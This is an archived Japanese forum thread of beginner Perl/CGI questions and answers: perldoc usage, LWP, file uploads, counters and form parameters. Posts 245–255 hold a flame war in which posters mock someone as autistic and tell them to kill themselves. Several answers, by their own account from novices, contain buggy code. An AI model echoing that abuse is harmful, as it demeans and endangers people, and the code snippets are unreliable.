2007/05/26(土) 05:47:48ID:???なんか懐かしいなw
こういうの見たの15年ぶりだよ。
0133nobodyさん
2007/05/26(土) 23:39:33ID:???たんだが、機会が無いのでここに独り言として書く。
[初心者のための perldoc ]
perldoc は、本を開かなくともいつでも開くことが出来る手軽なリファレンスだ。
ターミナルで「perldoc perl」と打ち込むだけで概要が出てくる。SYNOPSIS に
リストがつらつら書かれているがそれぞれ perldoc で呼び出すことができる
1. とりあえず基礎の基礎を読んでみたいなら「perldoc perlintro」
( for, while, if などもここを最初に )
array of array などなら「perldoc perllol」
正規表現なら、「perldoc perlre」
スイッチ(所謂コマンドラインオプション)なら「perldoc perlrun」
etc...
これらの文章中 see perlxxxx.... と書かれていたら素直に
「perldoc perlxxxx」すればよい。
2. 個々の関数について調べたいなら
「perldoc -f reverse」
などと f オプションを付けて実行する。
3. 取り敢えず、なんか判らんって時。例えば「配列」
「perldoc -q array」
faq の中から array を含む文章拾ってくれる。但し question のみ。
4. 個々の説明文 pod にアクセスしたい時
「perldoc Tie::File」
「perldoc strict」
5. 「perldoc -h」すれば、perldoc の使い方の説明が出てくる。
perldoc の中身には例文も出てくるので、英語が判らんでも 2ch に
相談するまえに見てみることをお勧めする。
どーしても、という方には web 上にはそれなりに翻訳された perldoc が
あるのでターミナルで「perldoc perl」でリストの中から目星を付け、
そのファイル名で検索するのも良い。
(但し最新版ではない事がほとんどなので注意が必要)
0134nobodyさん
2007/05/29(火) 00:59:04ID:+KVPsKMz#!/usr/bin/perl
open (IN,"< http://あqwせdrftgyふじこ/test.dat") ;
@LINES = <IN>;
close(IN);
print "Content-type: text/html\n\n";
print "<html><head></head><body>";
foreach(@LINES){
print $_ . "\n";
}
print "</body></html>";
}
こんな感じでhttpから始まるURLをうって
ファイルを開いて処理したいんですがどうやら読めないっぽいです。
open (IN,"test.dat") ;
に変えると動いてくれるのですが、、、
仕様上不可能なんでしょうか?
0135nobodyさん
2007/05/29(火) 01:19:04ID:???allow_url_fopen が効いてる PHP みたいな、裏でどうにかしてくれる仕掛けはありません。
LWP使えば外部のファイル自体は取得できるけど。
0136nobodyさん
2007/05/29(火) 02:04:54ID:+KVPsKMzこんな時間にレスあり ><
use LWP::Simple;
$a = get("http://くぁwせdrfgyふじこ/test.dat");
で取得できました。ありがとうございました。
これで気持ちよく眠れます。
0137nobodyさん
2007/06/03(日) 00:26:01ID:???0138nobodyさん
2007/06/03(日) 13:53:14ID:???0139nobodyさん
2007/06/05(火) 13:52:29ID:???自サーバ内のファイルを別サーバへコピーしたいんですが(セキュアFTPサーバ)
Net::FTP
を使って、セキュアなFTPサーバへ接続は出来ますか?
もしくは、可能な別モジュールってありますか?
0140nobodyさん
2007/06/07(木) 14:40:32ID:TOlQmlY8定期的にフォーム部品の個数が変わるフォームで、
1コでも未記入があった場合にエラーが出したいんです。
radio1
radio2
radio3
textarea1
textarea2
radio4
・
・
・
その時によって、フォーム部品の数が増えたり減ったりします。
汎用的に未記入があった時にエラーを返すにはどうしたらいいでしょう?
0141nobodyさん
2007/06/07(木) 15:58:44ID:???0142nobodyさん
2007/06/07(木) 16:38:40ID:???0143nobodyさん
2007/06/07(木) 17:31:11ID:???0144nobodyさん
2007/06/07(木) 17:33:24ID:???仕様上は未入力のフィールドは送信しなくてもいいことになってるんで
0145nobodyさん
2007/06/07(木) 17:51:47ID:???どのみちレングスや内容を全部調べるんだろうし
0146nobodyさん
2007/06/08(金) 11:15:29ID:???inputがあるのに未入力を検出したいってんなら>>143で問題ないと思うのだが。
>仕様上は未入力のフィールドは送信しなくてもいいことになってるんで
って何の仕様の話?
0148140
2007/06/08(金) 13:54:24ID:i/tb2omnみなさんありがとうございます。
>143さんの方法が良さそうですね。
ところで、エンティティボディって何の事でしょう・・・・?
すいません、ぐぐってみます;
0149nobodyさん
2007/06/08(金) 17:32:56ID:rRYhakqE今現在Perlを使用したCGIを作成していて困った事があるので相談させていただきます。
HTML側が
----------------
<form method="POST" ENCTYPE="multipart/form-data" action="edit_completion.cgi">
<input type="file" name="TENSOU">
:
----------------
としていて受け取るCGI側を
----------------
:
my $cgi = new CGI;
my $image = $cgi->param('TENSOU');
my $file_name="./test.jpg";
my $buffer;
open(OUT, ">$file_name") or die(qq(Can't open "$file_name".));
binmode OUT;
while (read($image, $buffer, 1024)) {
print OUT $buffer;
}
close OUT;
:
----------------
としているのですがうまく受け取れません、、、
上記perlは昔自分が書いたものを参考にしたのですが
ナニを参考にしたのか覚えていません。
どこか使用方法が載っているURL等お教えいただけないでしょうか?
0150nobodyさん
2007/06/09(土) 13:37:43ID:???ここを参考にしたら?
0151nobodyさん
2007/06/10(日) 18:01:18ID:???仕事の傍らちょこちょこやってて
今「続・初めてのPerl」のオブジェクト指向とかリファレンスのトコ
そこ入ったらいきなりクラスとかメソッドとか初出の単語が連発してきてかなり混乱
なかなか頭に入ってこなくて泣きそう(つωと)
0152nobodyさん
2007/06/10(日) 20:07:23ID:???「続・初めて」
は題名に反して、「リャマ、ラクダ、CookBook、Best Practice、etc.」を
読んだ後に読む本だぞ。
0153nobodyさん
2007/06/11(月) 00:16:13ID:???レスありがとうございます
う、そうなんですか・・・もっと吟味すればよかった(・ω・`)
リャマは読み終わりましたのでラクダ本検討してみます
しかし高い・・・
後、やっぱりUnix環境整えた方がいいですよね
今までWindowsのみでやってきたので、Unixの事はチンプンカンプンですけど
WindowsみたいにOSのパッケージを買えばいいのかな・・・調べてみようと思います
ありがとうございました
0154nobodyさん
2007/06/11(月) 01:57:28ID:???後半は、マカーなので分らんw
が、Windows だけで完結してそうな人も多いし、Cygwin
辺りで慣れるだけじゃダメなのかなあ。
もちろん業務とかが絡む人は別だけど。
0155nobodyさん
2007/06/11(月) 02:16:08ID:???ttp://www.oreilly.co.jp/books/4873111676/
絶版になったのか、、、
0156nobodyさん
2007/06/11(月) 23:50:11ID:kL3eCwRQスクリプトの文法チェックをしたいのですがどなたかいいツール知りませんか?
検索してみたのですがなかなかいいのが見つからなくて。
0157nobodyさん
2007/06/12(火) 02:23:49ID:???もう少し厳しくみるなら perl -wc
perldoc perlrun くらいはしといてくれ。
0158nobodyさん
2007/06/12(火) 12:32:30ID:0KbPnFiHありがとう、早速試してみます。
0161nobodyさん
2007/06/12(火) 16:16:31ID:0KbPnFiH0163nobodyさん
2007/06/12(火) 17:19:53ID:0KbPnFiHwindowsです。
普段は秀丸を利用しています。
秀丸はHTMLは書きやすいのですがPerlは微妙です。
Perlに特化した感じのエディタがないかいろいろ検索中ですがなかなかいいのが見つからなくて。
0164nobodyさん
2007/06/12(火) 18:56:13ID:???perl用のモードがあるよ
Emacsとかvimとか。
windows用もあるけど、初心者お断り的な
ところがあるから、慣れるまでは
大変かも。
希望の機能とかはあるの?
0165nobodyさん
2007/06/12(火) 21:45:38ID:0KbPnFiHやっぱ色分けはわかりやすいほうがいいですね。
秀丸はヒアドキュメントの部分がわかりづらくて。
あとは文法チェックやプレビュー機能なんかがあればうれしいですね。
開発環境にこだわるのはある程度知識身につけてからのほうがいいのでしょうか…
なんせまだPerl勉強して1ヶ月もたってないもので…
0166nobodyさん
2007/06/12(火) 23:26:18ID:???Eclipse + PerlPlugin
0168nobodyさん
2007/06/13(水) 02:12:53ID:???最初はそんなにでかいコード書くこともないだろうから、
それこそメモ帳でなきゃ適当なエディタでいいと思うけどね。
とりあえずこいつは構文チェックをしてくれるらしい
http://activestate.com/Products/komodo_ide/feature_list.plex
体験版はあるみたいだけど基本的に金だして買わなきゃいけないし、
ドキュメントは英語だけ。
ところでプレビュー機能ってなに? CGIでも作るの?
0169nobodyさん
2007/06/13(水) 12:39:29ID:Ij6cMTyXhttp://www.forest.impress.co.jp/lib/stdy/program/progeditor/perlhajime.html
PerlはCGI作るために勉強しはじめました。
とりあえず10日で覚えるPerl/CGIという入門書を読んで勉強中です。
0170nobodyさん
2007/06/13(水) 18:17:02ID:???0171nobodyさん
2007/06/14(木) 13:02:46ID:???0172nobodyさん
2007/06/14(木) 19:02:31ID:MrJTWOJA一定文字数を越えると文字化けしてしまう。。
誰かこの文字化けが何系の文字コードか分かる方います??
$"$($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($($3$3$G2~9T$*$*$*$*$*$*$*$*$*$*$*$*$
0173nobodyさん
2007/06/14(木) 19:21:03ID:???0174nobodyさん
2007/06/15(金) 18:43:38ID:3CYhNC9F0176nobodyさん
2007/06/15(金) 20:12:22ID:???0177nobodyさん
2007/06/15(金) 20:55:45ID:???0178nobodyさん
2007/06/15(金) 21:51:09ID:???ニーチェ入門 (筑摩書房)
本当の潜水艦の戦い方 (光人社)
0179nobodyさん
2007/06/15(金) 22:38:03ID:3CYhNC9F0180nobodyさん
2007/06/15(金) 22:48:57ID:???0181nobodyさん
2007/06/15(金) 22:51:37ID:???>SF を読むこと。
>だじゃれや言葉あそびへの理解を深めること。
>母国語できちんと文が書けるようになること。
>多くのハッカーは「おたく」というレッテルを受け入れています。
>それは自分が普通の社会的期待から自由だと宣言する方法の一つなのです。
ttp://cruel.org/freeware/hacker.html
0182nobodyさん
2007/06/16(土) 21:27:44ID:0wRsaGP20183nobodyさん
2007/06/17(日) 08:54:43ID:???全言語覚えてもハッカーになれないヤツはなれない
要は応用力の問題
0184nobodyさん
2007/06/20(水) 21:35:54ID:???PerlのCGIからEXEを叩くだけのSYSTEM関数を呼ぼうとしているのですが
処理自体はバックグラウンドでやらせて、制御は画面に戻したいので
「res = SYSTEM(1, @args)」で実行しようとすると、-1が戻されてしまいます。
「res = SYSTEM(@args)」でやれば問題なく動くのですが…
第一引数に1を設定した場合は実行不可になる、といったような
事例はあるのでしょうか?
(検索キー「SYSTEM」では該当が多すぎて…)
0185nobodyさん
2007/06/20(水) 22:20:47ID:???つかそもそもsystem関数の使い方わかってないだろ
「perl system」でググるくらいの検索能力は身につけようぜ兄弟
0186nobodyさん
2007/06/20(水) 22:35:16ID:???0187nobodyさん
2007/06/20(水) 23:12:17ID:???いやあの・・・すいません。
「@args」と書いてあるところが、叩かせようとしているEXEの
引数つきコマンドラインです。
system関数の記事ならいくつもHITしますが、第一引数に1をセット
しての使い方についての記述はほとんどなかったので…
(この書き方自体がwin専用らしいですが)
0188nobodyさん
2007/06/21(木) 00:30:05ID:???最初に「Windows+ActivePerlの環境です」とかくらいは書いた方が良いと思うんだ。
@argsの内容とかも。argsなんて名前の配列にコマンドまで入ってるなんてあまり想像しない。
で、たぶん-1返してるのは@argsの中のプログラム側だからそっちを調べないと無理かも。
0189nobodyさん
2007/06/26(火) 18:01:07ID:pgSc3qoH10日で覚える〜の本を参考書にしてるけど10日じゃ理解できないYO・・
学習能力ねぇから難しいなぁw
0190nobodyさん
2007/06/26(火) 23:19:15ID:???若干相性はあるがね。
0191nobodyさん
2007/06/26(火) 23:32:33ID:???1. 何を作りたいか決める
2. とにかく作り始める
3. 詰まったら実現方法を参考書で調べる
4. 2に戻る
あとメモを取った方が効率が上がる。特殊変数全部メモるとか。
それさえあれば何時でも何処でも(少なくとも自分だけは)必ず何でも書けるメモを作る。
0192nobodyさん
2007/06/26(火) 23:38:09ID:???>>189はあんまり気にしなくていいよ。
>>191
必要に駆られると覚えるの早いよなあ。納期とか。
0193189
2007/06/27(水) 11:43:36ID:qSRVuZRUゲームとか掲示板を思い通りに作りたいのでまずは基礎からって
感じだと思ったので、とにかく習うより慣れるかな〜
0194189
2007/06/28(木) 17:14:56ID:/27P2PeN#! c:/perl/bin/perl
open(IN, "+<./count.dat");
$count = <IN>;
++$count;
seek(IN,0,0);
print IN $count;
close(IN);
こんなアクセスカウンターがあったとして./count.datの中に
12が書き込まれていたら次にアクセスしたら13になりますよね?
seek関数でファイルの先頭に持ってきているのはわかるんだけど
先頭にそのまま持ってきたら1312にならない理由を教えてほしいっす><
0195nobodyさん
2007/06/28(木) 17:44:35ID:???0196189
2007/06/28(木) 17:53:34ID:/27P2PeNseek(IN,0,0);
の、部分だけ消してアクセスすると1213になるけど
seek(IN,0,0);
が、あることにより上書きになるの?
0197nobodyさん
2007/06/28(木) 17:58:37ID:???書き込みポイント(シーク位置)が読んだことにより後ろになってるだけ
末尾で上書きすれば追加と同じだろう
メモリでも挿入ってのは、データを後ろにずらしてから上書きしてるんだよ。
0198189
2007/06/28(木) 18:16:42ID:/27P2PeNseek(IN,0,0); は、
常に上書きって覚えとけば問題ないのかな?
ありがとうございますです。
0199nobodyさん
2007/06/28(木) 18:26:31ID:???0200nobodyさん
2007/06/30(土) 14:41:50ID:zANvV/vQこのように変換 → 4.43.96.0-4.43.96.255
したいのですが、良い方法を教えてください。
0201nobodyさん
2007/06/30(土) 15:21:36ID:???ってスクリプトなら。
my $netmask = q{4.43.96.0/24} ;
my $ip = q{4.43.96.0} ; # <= ここにテストするIPアドレスをセット
my ( $org_ip, $byte ) = split m{/}, $netmask ;
my $packed_one = unpack qq{B$byte}, pack 'C4', split ( /\./, $ip ) ;
my $packed_two = unpack qq{B$byte}, pack 'C4', split ( /\./, $org_ip ) ;
if ( $packed_one eq $packed_two ){ print q{in} . qq{\n} ; }
こんな感じ?と素人が答えてみるテスト。
0203質問
2007/06/30(土) 16:27:58ID:6uCjWfRX下記のような簡単な物を作って、配列のリファレンスがサブルーチン側へ渡されていることは
わかりました。($alldata_refと$getdata_refが同じ)
が、サブルーチンを使っての配列の値の参照がなぜかできません。
いろんなサイトをみても問題はないようですが、わかる方教えてください。
@alldata=(1,2,3,4,5);
$alldata_ref=\@alldata;
print "$alldata_ref\n";
foreach (@$alldata_ref){
print "$_";
}
print "\n";
&COUNT8(\@alldata);
sub COUNT8{
my $getdata_ref="@_";
print "$getdata_ref\n";
foreach (@$getdata_ref){
print "$_";
}
print "\n";
0204nobodyさん
2007/06/30(土) 16:43:21ID:???0205203
2007/06/30(土) 16:46:10ID:???よくわかりませんが、できました。
ちょっとshift勉強しに公園のトイレ前に行きます。
0206nobodyさん
2007/06/30(土) 16:53:48ID:???>>203って、サブルーチンの中で引数を取得する時に
ダブルクォーテーションで囲った事が原因ですよね?
0207nobodyさん
2007/06/30(土) 17:11:28ID:???ついでに、ダブルクオートしなかったら要素数が返るだけと思う。
shift@_なり、$_[0]なりで、ちゃんとリファレンスを取得することが大事。
0208nobodyさん
2007/06/30(土) 20:16:18ID:???リスト(アレイリファレンス1個のリスト)がスカラーコンテ
キストで評価されて結果は1。
0209nobodyさん
2007/07/01(日) 06:34:28ID:???が推奨されています。
当たり前ですが複数なら以下です。
my($abc,$def,$ghi)=@_;
またPerlでは@arrayの評価は左辺値で決まるので、ダブルクオートしなければ
必ず要素数が返ると信じるのは誤動作の元です。
$#array+1を使うか、scalar(@array)と明示する方法がオススメです。
さらにfor文をこのように書く人が大勢居ますが、
for(,my $i=0; $i<@array; $i++)
非常に遅いので予め@arrayの要素数をスカラーに移して使いましょう。
0210nobodyさん
2007/07/03(火) 16:41:35ID:Fn19fg5B板違い。
Perl板でやれ。
0211nobodyさん
2007/07/03(火) 19:22:53ID:???0212nobodyさん
2007/07/04(水) 09:06:32ID:???0213nobodyさん
2007/07/07(土) 14:31:13ID:MhnKrAyDそれぞれの行、列から数値を取り出したいんですけど、
どこかに良いサンプルか参考になるサイトはないですか?
0215nobodyさん
2007/07/08(日) 06:04:57ID:???Perl CSVやPerl Excelで検索すりゃ一瞬で出るものを書かれると何かが減退する
0216213
2007/07/09(月) 22:38:35ID:6iXDsaKo0217nobodyさん
2007/07/10(火) 10:55:28ID:???0218nobodyさん
2007/07/10(火) 11:13:10ID:???お前らの答えは信用ならんから、サンプルやサイトを教えてくれと言われたら
こたえる気はなくすわな
0219nobodyさん
2007/07/10(火) 11:49:08ID:???と言われたなら、へー出来ないんだーという情報価値も少しある。
出来たらぶっ飛ばすけどね。
今ちょっと見たらOffice2000がどのライブラリも対応してる感じだけど、
バージョンの説明も無いし、なんで検索のお手伝いをしないといけないんだって。
0220nobodyさん
2007/07/10(火) 13:28:27ID:???Google 使って「Perl CSV」で検索すると、先頭に出てくるのだが。
一体、何がどう分からないのかな?
0221nobodyさん
2007/07/10(火) 18:20:33ID:???アップグレードってどうやるんですか?5.8.6にしたいんですが(参考にしてる本が5.8.6だから)
0222nobodyさん
2007/07/11(水) 09:43:51ID:???ほれ。チョーわかりやすいサンプルを書いてやったぜ。
#! /usr/bin/env perl
$csv = <<"_CSV_";
activePerlで,Perl,始めたんだけど、,エクセルの,データか,CSVから,
それぞれの,行、列から,数値を,取り出したいんですけど、,
どこかに,良いサンプルか,参考になる,サイトは,ないですか?
_CSV_
grep{push(@d2a,[split(/,/)])}split(/\r?\n/,$csv); # 格納
for(@d2a){print for(@$_);print "\n";} # 表示
0224nobodyさん
2007/07/11(水) 15:56:08ID:FWgAFc3usub printPage
{
my $begin = $FORM{'page'} * $PAGEVIEW;
my $end = $begin + $PAGEVIEW;
if($end > @DATA) {
$end = @DATA;
}
本を見ながら掲示板を作っているんだけど、my $begin やmy $end が
@DATAの添え字になっているって本に書いてあるんだけど@DATAの添え字なら
$DATE[$begin]とかってってならなくてmy $begin やmy $endで添え字になって
いる理由がわかりません。
わかる方おながいします。
0225224
2007/07/11(水) 16:09:46ID:FWgAFc3u0227213
2007/07/12(木) 08:33:10ID:???A,B,C,D,E,とあるとするとそれを
�@=A
�A=B
�B=C
…
と格納して
print �B
print �A
print �D
みたいなことがしたいんですが。。。。
この処理が終わると2行目へ・・・と言った感じで。
0228nobodyさん
2007/07/12(木) 14:01:39ID:???(:.;゚;Д;゚;.:)y-~
0229nobodyさん
2007/07/13(金) 15:37:18ID:jk1vnwXj#! c:/perl/bin/perl
print "Content-type: text/html\n\n";
print "Hello Perl !";
と、CGIに書いて本には
Content-type: text/html
Hello Perl !
と、出力すると書いてあるのですがやってみると、
Hello Perl !
しか出力しません。なぜでしょうか??
AN HTTPD ってのを使ってます。
0230nobodyさん
2007/07/13(金) 15:49:26ID:???ブラウザ何使ってる?
wgetとかコマンドラインのやつ使ってなけりゃ
Firefox入れてLive Http headers アドインを入れてみるのを薦める
0232229
2007/07/13(金) 16:27:58ID:jk1vnwXjいろいろ調べてたらCGIヘッダーはWebサーバーからWeb
ブラウザに送信される過程で使われるだけだからブラウザに表示
されるのは「Hello Perl ! 」だけ、とのことみたいなのでなんとなく
解決しました☆
Windows XP使ってますがAN HTTPDではPerl勉強するのに不足でしょうか?
230さんの「Firefox入れてLive Http headers アドインを入れてみるのを薦める 」
を、やったほうがいいでしょうか?
0233nobodyさん
2007/07/13(金) 17:33:57ID:???0234229
2007/07/13(金) 19:08:30ID:jk1vnwXjMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
なので、Firefoxですか?
0235nobodyさん
2007/07/13(金) 19:18:19ID:???0237nobodyさん
2007/07/13(金) 22:29:23ID:???何故貴方に感想を書くことを
制限されなければならないのですか?
ここはあなたの掲示板なのですか?
スレッドに帰属意識でも持ってるお馬鹿さんですか?
0240nobodyさん
2007/07/14(土) 07:16:10ID:???0242獅子王
2007/07/15(日) 18:51:36ID:EW+ZDItZ他のところではちょっと僕の質問の仕方が無礼だったようなのでここで質問させてください。
実はつい先日perlをダウンロードするために配布サイトまで行ったのですが
英語尽くしで何がなんだかわかりません。どうも僕にperlのダウンロード
の仕方を教えていただけませんでしょうか?長々とスイマセン。
0243nobodyさん
2007/07/15(日) 19:59:41ID:???ActivePerlのGet Current Release→Download→continue→Windows (x86) MSI
0244nobodyさん
2007/07/15(日) 20:40:29ID:???0245nobodyさん
2007/07/15(日) 21:09:48ID:???2. 習慣としてMacならMacと断りを入れる
3. 傾向としてWindowsユーザだけがこのような質問をする
というわけで>244はアスペルガー症候群という自閉症だと思われる。
ttp://www.autism.jp/asp/
>子どもでも大人でも社会生活には暗黙のルールがあります。暗黙のルールがわからないために
>他の子どもから嫌われたりいじめられるアスペルガー症候群の子どもが多いのです。
>その場で何が話題になっているか、言外の意味を汲み取ることが苦手なのでどうとでもとれる
>曖昧な質問には答えることが難しいのです。問いかけはなるべく具体的にする必要があります。
0248nobodyさん
2007/07/16(月) 13:46:04ID:???ホントばかだなオマエは。
その1以外のために「暗黙のルール」や「言外の意味」に関する見解を示したんだよ。
1だけならたしかに後半は余計だった。
0249nobodyさん
2007/07/16(月) 13:57:35ID:???>>244のような発言が出るのだろうし、もし>>243で
「OSぐらい書け」
と言っていたら、ギャラリーの八割が
「Windowsに決まってるだろ」
と思うわけ。そういう当たり前の常識がオマエには無いんだよ。なぜなら脳に障害があるから。
>>244の脳に障害があることを前提に、極めてわかりやすく、リンクに要点の引用まで付けて
"暗黙のルール" の具体例を示したのに、それでも結局
「1以外は妄想だな。 」
と来る。妄想じゃなくて、暗黙の了解なんだよね。
要するにバカには言葉が通じないので、バカが死ねと言い続けるしか無いんだな。
0250nobodyさん
2007/07/16(月) 14:15:09ID:???初期でPerlが入っていない主要OSはWindowsのみ。>>244みたいな筋金入りのバカは
「Linuxでもカスタムインストールなら」
と言うかもしれないが、Linuxでは主要なアプリケーションでPerlが使われており、Perlは
対象から外せないか、外したつもりでも他のAPの依存関係で結局インストールされる。
試しにLinuxでPerl消してみろよ。yumもaptも動かなくなるから。
なんでこんなバカが人前で発言する気になるんだろう。
0251nobodyさん
2007/07/16(月) 17:32:45ID:Pd2envQf0252nobodyさん
2007/07/16(月) 18:05:34ID:???後付けで何とか体面を整えようと必死杉。笑う。
これを裏付けるデータあるかね。お前さんの脳内以外に。
> 2. 習慣としてMacならMacと断りを入れる
> 3. 傾向としてWindowsユーザだけがこのような質問をする
0253nobodyさん
2007/07/16(月) 18:50:59ID:???0254246
2007/07/17(火) 01:15:15ID:???あーあ、結局荒れるのか。いいかげんモチツケ。
>>247
アスペルガー症候群の事か?藻前の煽りも余計だ。荒れる素だからヤメレ。
0255nobodyさん
2007/07/18(水) 12:20:06ID:???オマエ無様だからそろそろ己の低スキルを自覚して自殺しろよ。
オマエの人真似の言葉なんて誰の役にも立ちゃしないし、生きていても意味が無い。
>>254
「荒れる」のハードルも低くなったもんだなぁ。これはせいぜい教育的指導の域を出ない。
>>244みたいな典型的なバカが匿名を盾に人並みに発言するのが社会にとって最も有害。
ノーテクはノーテクだから>>252のように技術以外の部分に必死で食らいつく他に無い。
先に絡んで来たのは>>244なのだし、オレは知ったこっちゃない。
0256nobodyさん
2007/07/18(水) 12:58:42ID:???「OSを指定しないPerlの新規インストールに関する質問には当然OSを尋ねるべきである」
1. Linux、Solaris、OSXは通常プリインストールである
2. したがって質問者の使用OSがWindowsである確率はシェアから約99%超と考えられる
3. 1%の可能性のためにOSを尋ねる場合、回答到達までに3フェーズ必要となる
(OS問合せ->OS回答->URI回答)
4. したがってスレタイに関係なく、この場合OS名を尋ねる者は鬱陶しくも痛いバカである
反論があれば個別にどうぞ。
それとは別にPerlに関するくだらない質問は勝手に訊いてください。
0257nobodyさん
2007/07/18(水) 16:34:28ID:???0258nobodyさん
2007/07/19(木) 18:35:22ID:IU8VyPgYtop.htmlのページからindex.cgiを通してサブルーチンで分岐してa.htmlとb.htmlを
出力したいのですがどうすればいいか詰まってしまいました。
例えば、top.htmlで「男性」or「女性」をクリックしてindex.cgiでotoko.htmlと
onnna.htmlを分岐する場合、top.htmlの中身のリンクの<a href=./index.cgi>
の所になにか条件を指定してcgi内でサブルーチンで分岐できるのですか?
できるならリンクの書き方を教えて欲しいです。
わかりにくくてすんません。
0259nobodyさん
2007/07/19(木) 19:12:33ID:CIvRVShF普通にパラメータ書いて分岐させりゃ簡単に出来ると思われ。
ってか、top.htmlにotoko.htmlやonnna.htmlへの直接リンクを書かないのはなぜ?
0260259
2007/07/19(木) 19:19:01ID:IU8VyPgY直リンクじゃなくてcgiを利用して使いたかったんで^^;
すいません、パラメータってなんですか?><
0261nobodyさん
2007/07/19(木) 19:21:52ID:???実験してるって事?
ひとまず、
http://www.aikis.or.jp/~s-suzuki/cgilabo/kouza/cgi2.html#cgilabo4
これでも見て勉強汁。
0262259
2007/07/19(木) 19:28:14ID:IU8VyPgYいろいろ試してみないと気が済まない性格で^^;
0264nobodyさん
2007/07/20(金) 03:03:34ID:???0265nobodyさん
2007/07/21(土) 09:40:53ID:???妄想を真理と思い込み、他の可能性には気が廻らない。
想定外だったという理由のバグを大量生産するタイプだ。
0266nobodyさん
2007/07/21(土) 17:15:10ID:LRr3Colp0267nobodyさん
2007/07/23(月) 11:42:52ID:???#!/usr/local/bin/perl
use CGI qw(:standard);#CGIでのパラメタ受け取り等を簡単に扱うためのもの
use strict;
my$url=sample.cgi; #これ自身のファイル名にしておく
my$name = param('name'); #フォームからの名前投稿をパラメタとして受け取り
# 以下、投稿フォーム。
#form action="$url" は、submitボタンを押した時に飛ぶ場所
#name="name" は、パラメタ名
print my$a= <<EOM;
Content-type: text/html\n\n
<html><head>
</head><body>
<form action="$url" method="POST">
名前<input type="text" size=10 maxlength="7" name="name"><br>
<input type="submit" value="投稿" name="toukou"></form><hr>
EOM
# 以下、表示。
#もしも$nameがあれば(パラメタとしてでも$nameを受け取っていれば)$nameを表示
if($name){
print$name;
}
0268nobodyさん
2007/07/23(月) 12:05:29ID:???>>259でなく>>258。
上はただのパラメタの使い方。
フォームを
<form action="$url" method="POST">
<input type=radio name=seibetu value otoko >
<input type=radio name=seibetu value onna >
<input type=submit value=投稿>
</form>
とすれば、投稿ボタンが押されたときに$urlのURLに飛んで、パラメタ名seibetuにotokoかonnaを入れて渡すことが出来る。
受け取り側は
my$seibetu = param('seibetu');#パラメタ受け取り
if($seibetu eq otoko){
#パラメタがotokoだった場合の処理
}
elsif($seibetu eq onna){
#パラメタがonnaだった場合の処理
}
デバッグしてないから文法ミスがあるかもしれないが、こんな感じで
0269nobodyさん
2007/07/23(月) 12:26:23ID:???>>261のリンク先に、getが使用されにくい理由に
・環境変数には長さに制限があるので、getの場合途中でパラメータが切れることがある
・ブラウザがIEの時、フォームに<TEXTAREA>があるときはGETは使えない
・postの場合、パラメータの長さが。環境変数 CONTENT_LENGTH に格納される
とあるが、getはURLエンコードして、見える状態で渡されるから、悪意ある第三者に利用される可能性がある。
セキュリティの面から言ってもpostを使ったほうがいい。
もっと言うなら、「getもpostも両方の扱い覚えるのマンドクセ」ってときはpostの扱いだけ覚えればいい。
以上、駄文スマソン
0270258
2007/07/23(月) 16:22:00ID:dzTqHpzl#! c:/perl/bin/perl
$buffer = $ENV{'QUERY_STRING'};
if($buffer eq 1) {
otoko()};
if($buffer eq 2) {
onna()};
sub otoko{
print "Content-type: text/html\n\n";
print "<HTML><HEAD>";
print "<TITLE>CGI-TEST</TITLE>";
print "<BODY>\n";
print "$buffer 男性<br>";
print "</BODY></HTML>";
exit;
}
sub onna{
print "Content-type: text/html\n\n";
print "<HTML><HEAD>";
print "<TITLE>CGI-TEST</TITLE>";
print "<BODY>\n";
print "$buffer 女性<br>";
print "</BODY></HTML>";
exit;
}
0271nobodyさん
2007/07/23(月) 19:24:19ID:ZBWpUMJL早2年
そんな自分に嫌気がさす。
てかActivePerlとMySQLのインスコが難しすぎる。
何度やっても失敗ばっかりだ。
俺の人生を象徴しているかのよう。悔しいぜ。
0272nobodyさん
2007/07/23(月) 20:36:30ID:vSTTUlTw基本的なことなんだけど考え付かなくなってしまったので
発想力をちょっと貸してください。
HTTPリクエストして、BODY部分だけ表示させたいのですが
HEAD部分を表示させないようにSOCKETを
while (<$SOCKET>){ m/^\r\n$/ and last; }
print <$SOCKET>;
こんな感じでHEAD部分はループさせて抜けてから
BODY部分をprintさせるうえで
while使わずにやる方法としてはどうやりますか?
do{}whileやuntilでも出来ると思うんですが
何故かHEAD部分から全部表示されたり、無限ループに突入したりします。
難しいものじゃないはずなのに何故か書けない罠にはまった感じです。
発想力をちょっと貸してください。
0274nobodyさん
2007/07/23(月) 22:19:18ID:???ソケットとかややこしそうで足踏み入れてなかったが、ソケットのヘッダとボディは
"Content-type: text/html\n\n";
となってるんだよな?
\n\nと、改行が2個あるところで判断すればいいと思う。
この改行は\nであって\r\nでは無理だと思う。
my$ppp = my@socket = <$SOCKET>;
for (0..$ppp-1){
if($socket[$_]=m/^\n$/){last}
shift @socket;
}
print @socket;
↑これでイケル希ガス。つかもっといい方法を思いたったので次に書く。
おそらく、HTMLで表示するんだろうから、chompで改行文字を消してもいいんだよね?
my@socket = chomp(<$SOCKET>); #改行文字だけの部分はchompでカラになる。
while(@socket){shift @socket} #@socketで要素が何も無い場所に来るとwhile文がfalseとなりループは終わり、shiftも終わる。
#@socketの0個目の要素は何もカラ、1個目からの要素は改行を取り除いたボディ部分。
ちゃんと動作するか知らんが、初心者同士がんがろうぜ
0275nobodyさん
2007/07/23(月) 22:30:09ID:???○ソケットのヘッダとボディの区切りは
>>274で、もしおかしなこと言ってたらスマソ。
そもそもソケットとかHTTPリクエストとかよく知らんのに答えてもた。
0277nobodyさん
2007/07/24(火) 09:28:58ID:???純粋にhtmlの<HEAD><BODY>の話なんじゃまいか
0278nobodyさん
2007/07/24(火) 10:22:47ID:???そこの
07:
08:<http>
09:<head>
10:(以下省略)
みたいになってて</head>まで削除して<body>から残したいと。
なら>>274を改造して
my@socket = <$SOCKET>;
for (0..$#socket){
if($socket[$_]=m~/^<body>\n$/i){last}
shift @socket;
}
print @socket; #<body>以下を表示
でいいんじゃまいか
0279258
2007/07/25(水) 14:52:50ID:pV3pjlQZjcode.plって日本語に変換するプログラムですよね?
英語に変換するものや中国語に変換するものもあるんですか?
英語に変換するものや中国語に変換するものもあるなら
ほしいので知っている方いたらお願いします。
0280nobodyさん
2007/07/25(水) 15:02:01ID:???文字コードの変換≠翻訳
いやー、夏だねえ・・・
0281nobodyさん
2007/07/25(水) 15:52:28ID:???0282258
2007/07/25(水) 16:39:08ID:pV3pjlQZjcode.plにつながっているからかな・・文字化けしてしまう。
